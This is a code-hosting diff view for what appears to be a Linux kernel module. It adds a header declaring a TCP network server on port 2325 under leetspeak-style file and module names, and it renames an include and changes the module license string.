|  |  * with this program.  If not, see <http://www.gnu.org/licenses/>.
 | ||||||
|  |  */ | ||||||
|  | #ifndef SRC_HEADERS_50CK3T_H_ | ||||||
|  | #define SRC_HEADERS_50CK3T_H_ | ||||||
|  | 
 | ||||||
|  | /**** includes *****************************************************************
 | ||||||
|  | *******************************************************************************/ | ||||||
|  | #include <linux/init.h> | ||||||
|  | #include <linux/slab.h> | ||||||
|  | #include <linux/kthread.h> | ||||||
|  | 
 | ||||||
|  | #include <linux/errno.h> | ||||||
|  | #include <linux/types.h> | ||||||
|  | 
 | ||||||
|  | #include <linux/netdevice.h> | ||||||
|  | #include <linux/ip.h> | ||||||
|  | #include <linux/in.h> | ||||||
|  | 
 | ||||||
|  | #include <linux/unistd.h> | ||||||
|  | #include <linux/wait.h> | ||||||
|  | 
 | ||||||
|  | #include <net/sock.h> | ||||||
|  | #include <net/tcp.h> | ||||||
|  | #include <net/inet_connection_sock.h> | ||||||
|  | #include <net/request_sock.h> | ||||||
|  | 
 | ||||||
|  | #define DEFAULT_PORT 2325 | ||||||
|  | #define MAX_CONNS 16 | ||||||
|  | #define MODULE_NAME "8008135" | ||||||
|  | 
 | ||||||
|  | int network_server_init(void); | ||||||
|  | void network_server_exit(void); | ||||||
|  | 
 | ||||||
|  | #endif /* SRC_HEADERS_50CK3T_H_ */ | ||||||
| @ -26,7 +26,7 @@ | |||||||
| #include <asm/special_insns.h> | #include <asm/special_insns.h> | ||||||
| #include <linux/string.h> | #include <linux/string.h> | ||||||
| #include <linux/fs.h> | #include <linux/fs.h> | ||||||
| #include "sysgen.h" | #include "5y563n.h" | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
| /****  Defines *****************************************************************
 | /****  Defines *****************************************************************
 | ||||||
| @ -44,7 +44,7 @@ | |||||||
| /****  Modinfo  ****************************************************************
 | /****  Modinfo  ****************************************************************
 | ||||||
| *******************************************************************************/ | *******************************************************************************/ | ||||||
| 
 | 
 | ||||||
| MODULE_LICENSE("GPLv3"); | MODULE_LICENSE("GPL"); | ||||||
| MODULE_AUTHOR("JanKoernerEnterprises"); | MODULE_AUTHOR("JanKoernerEnterprises"); | ||||||
| MODULE_DESCRIPTION("8008135"); | MODULE_DESCRIPTION("8008135"); | ||||||
| MODULE_VERSION("0.1"); | MODULE_VERSION("0.1"); | ||||||
|  | |||||||
		Loading…
	
		Reference in New Issue
	
	Block a user